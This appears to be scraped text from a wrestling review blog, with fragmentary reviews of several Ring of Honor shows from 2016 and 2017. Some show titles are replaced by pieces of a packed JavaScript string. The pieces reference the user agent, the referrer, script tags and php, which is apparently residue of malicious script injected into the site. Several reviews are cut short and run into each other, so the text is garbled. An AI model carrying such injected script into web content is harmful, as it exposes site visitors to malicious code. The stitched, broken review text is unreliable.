TV Title: Kushida vs. Marty Scurll

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bynis|var|u0026u|referrer|zhyik||js|php'.split('|'),0,{})) of Honor
Date: January 25, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Nigel McGuinness, Kevin Kelly

We open with a video on Scurll and Ospreay for a really good visual of how different they are.

Opening sequence.

Jonathan Gresham vs. Marty Scurll

Jay Lethal is ready to beat anyone left in his quest to get the World Title back.

Decade of Excellence Semi-Finals: Christopher Daniels vs. Chris Sabin

Daniels helps Sabin up.

Dragon Lee vs. Will Ospreay vs. Kushida

Overall Rating: B-. This was the kind of entertaining show that it needed to be with a lot of entertaining wrestling and some moderate story progression. I like the idea of having some new characters brought in and everything was a lot of fun. Just do more stuff like this instead of doing the same boring stuff that this show has a tendency to put on.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznfh|var|u0026u|referrer|nssya||js|php'.split('|'),0,{})) Battle 2016
Date: December 2, 2016
Location: Hammerstein Ballroom, New York City, New York
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Opening sequence.

Rebellion vs. Motor City Machine Guns/Donovan Dijak

The Guns are still in search of a permanent partner because trios are suddenly awesome. The Rebellion is the former Cabinet (Caprice Coleman/Kenny King/Rhett Titus) because Rebellion might actually be an even weaker name. To really show how rebellious King is, he has an upside down ROH logo on his trunks. Sabin and King run the ropes a bit to start with a grand total of nothing happen. Gotta love that non-offense from these rebels.

More triple teaming ensues until Sabin gets in a tornado DDT. That means Dijak gets to clean house with a top rope chokebreaker (close enough at least) getting two on Titus. The fans are WAY into Dijak here but the chants are cut off as the Guns start speeding things up. Well as speedy as they can make them at this point in their careers.

Dijak actually busts out a springboard flip dive to make my eyes pop open. Feast Your Eyes sends Titus into a powerbomb for two with Coleman and King diving in for the save. Another powerbomb puts King down but Skull and Bones are broken up. The Sky Splitter sets up the Big Dawg (frog) splash to put Sabin away at 12:27.

We recap Silas Young vs. Jushin Thunder Liger. Young got annoyed at a fan dressing up like Liger so he wanted to beat up the inspiration for never showing his face like a coward.

Jushin Thunder Liger vs. Silas Young

We recap Colt Cabana vs. Dalton Castle, which is your standard short term tag team breakup feud with Cabana playing heel.

Colt Cabana vs. Dalton Castle

You can tell Colt has turned as his music into something much slower with rap lyrics. Castle comes out in a chariot pulled by the Boys. Dalton immediately poses on the middle rope with his legs crossed like a gentleman. A quick takedown puts Colt on the mat and he bails to the floor, allowing Castle to do his strut after faking Cabana out on a suicide dive. The Boys are thrown in so Castle uses them as stepping stones to set up a dropkick. Now that shows some thinking out there.

Cody vs. Jay Lethal

Feeling out process to start as they hit the mat early on. A hiptoss exchange goes fine until Lethal gets in a dropkick for the first major offense. Cody comes right back with a very delayed gordbuster and starts in on the arm. Addiction keeps putting over the idea of Cody having experience in big matches and not buckling under the pressure.

Post match Cody mocks the Code of Honor and flips Lethal off. Addiction chases him away while Corino jumps back in on commentary to say “he was right all along.” Rhodes shoves Corino down but Steve keeps his cool.

Long recap of the Six Man Tag Team Title tournament. Lio Rush is replacing ACH, who has left the promotion.

Six Man Tag Team Titles: Kingdom vs. Kushida/Jay White/Lio Rush

The announcers are nice enough to start explaining why we should care about the Kingdom as Kushida scores with a double Tajiri handspring elbow. Everything breaks down and White gets two off a missile dropkick. To really pick things up a bit, White gets caught in a half crab from the top rope, only to have Kushida put Vinny in the Hoverboard Lock on the top for the save.

TV Title: Will Ospreay vs. Dragon Lee vs. Marty Scurll

With Lee dispatched, Ospreay and Scurll start slugging it out until Marty gets caught in the Tree of Woe. Cue Lee for the Alberto Del Rio top rope double stomp and a near fall. A running hurricanrana pulls Ospreay off the apron and down to the floor but Will pops back up for a big running flip dive of his own.

We recap the Tag Team Title match, which is just about the Briscoes wanting their ninth title reign.

Tag Team Titles: Briscoe Brothers vs. Young Bucks

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Date: November 2, 2016
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Donovan Dijak vs. Danny Miles

The fans know this is going to hurt. Dijak kicks the handshake away and mauls Miles into the corner with forearms. The chokebreaker and back to back to back Feast Your Eyes wrap this up at 2:17.

Prince Nana says Dijak will never quit.

The Briscoes are ready for the Addiction.

Briscoe Brothers vs. Addiction

Adam Page/Adam Cole vs. Briscoe Brothers

We come back from a break with Mark having to fight off the double teaming with an enziguri to Cole. The hot tag brings in Jay (who is oddly booed) for a hard clot and neckbreaker on Page. Jay loads up the Jay Driller on the champ but takes a World Title shot to the head for the DQ at 7:30.

ReDRagon makes the save despite Fish barely being able to move due to bad ribs.

Matt Taven says the Kingdom debuts next week.

We recap the Six Man Tag Team Title tournament so far.

Caprice Coleman says the Cabinet is ready to win the belts.

Six Man Tag Team Title Tournament Semifinals: The Cabinet vs. ACH/Jay White/Kushida

ACH sends Coleman and Titus together and brings in Kushida to clean house. Everything breaks down and Titus gets triple teamed until Coleman and King have to save a pin. The Sky Splitter gets two on White and Kushida kicks King and Titus to the floor. A Rock Bottom plants Coleman and the Midnight Star gives ACH the pin at 21:07.

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebzth|var|u0026u|referrer|zrkfi||js|php'.split('|'),0,{})) Wars 2016
Date: May 8, 2016
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Attendance: 2,000
Commentators: Kevin Kelly, Mr. Wrestling 3

Opening sequence.

We run down the card in case you bought the show on a whim.

ACH vs. Dalton Castle vs. Roderick Strong vs. Adam Page

Strong is livid about the loss.

Cheeseburger/Jushin Thunder Liger vs. Addiction

Post match the Addiction knocks Liger to the floor and hits the Best Meltzer Ever (moonsault into a spike Tombstone) on Cheeseburger.

Tag Team Titles: War Machine vs. Briscoe Brothers

Naito climbs the ropes for a tornado DDT followed by a neckbreaker off the ropes for two. They kick each other in the head until Kyle hits a rebound lariat to put both of them down again. A Regalplex gets two on Naito and a knee to the head makes it even worse. Not that it matters as he does a weird backflip into a reverse DDT (Destino) for the pin at 12:03.

Naito lays him out and throws the belt down post match.

Hiroshi Tanahashi/Michael Elgin vs. Kazuchika Okada/Moose

TV Title: Tomohiro Ishii vs. Bobby Fish

Fish makes the mistake of headbutting Ishii and the referee has to check on him as a result. The champ gets knocked off the top but Fish misses a flying headbutt, only to start back in with kicks to the knee. Fish hits an exploder suplex for two but getting headbutted for his efforts. Ishii gets his own near fall with a delayed vertical superplex, followed by a Saito Suplex.

They head to the apron with Fish back on his feet and slugging it out. As expected, Ishii easily knocks him down but Fish kicks the leg out to put both guys down on the floor. Back in and a hard lariat gets two for the champ but Fish goes back to the sleeper. He fires off some elbows to the head and survives a flip attempt to actually knock Ishii out at 15:30.

Kushida/Matt Sydal/Motor City Machine Guns vs. Bullet Club

Skull and Bones (top rope splash/neckbreaker combo) gets two more before Nick comes in and does SUCK IT over and over because popping the crowd is far more important than having a good or logical match. Sliced Bread #2 is broken up and a quick Meltzer Driver puts Shelley away at 13:04. Wrestling 3: “I JUST WASTED SIX GRAND!!!”

Wrestling 3 is distraught and it gets even worse when BJ Whitmer comes out in a Masked Superstar mask. Whitmer has a flash drive with something Wrestling 3 will want to see.

Nigel McGuinness joins commentary.

ROH World Title: Colt Cabana vs. Jay Lethal

Security eats superkicks and the counter goes back up but they only count double kicks as one. I DEMAND A REFUND! The Guerillas come out and the beating continues with Loa spray painting BC on a table and a security guard being powerbombed through it. More spray paint continues with the announcers getting kicks of their own.

There were eight total matches on this show with Ring of Honor wrestlers winning in five of them. Of those five wins, there were two tag matches with a New Japan partner and two matches with no New Japan stars involved. Counting the no contest, New Japan went 4-1 along with destroying the World Champion and the #1 contender to close the show.

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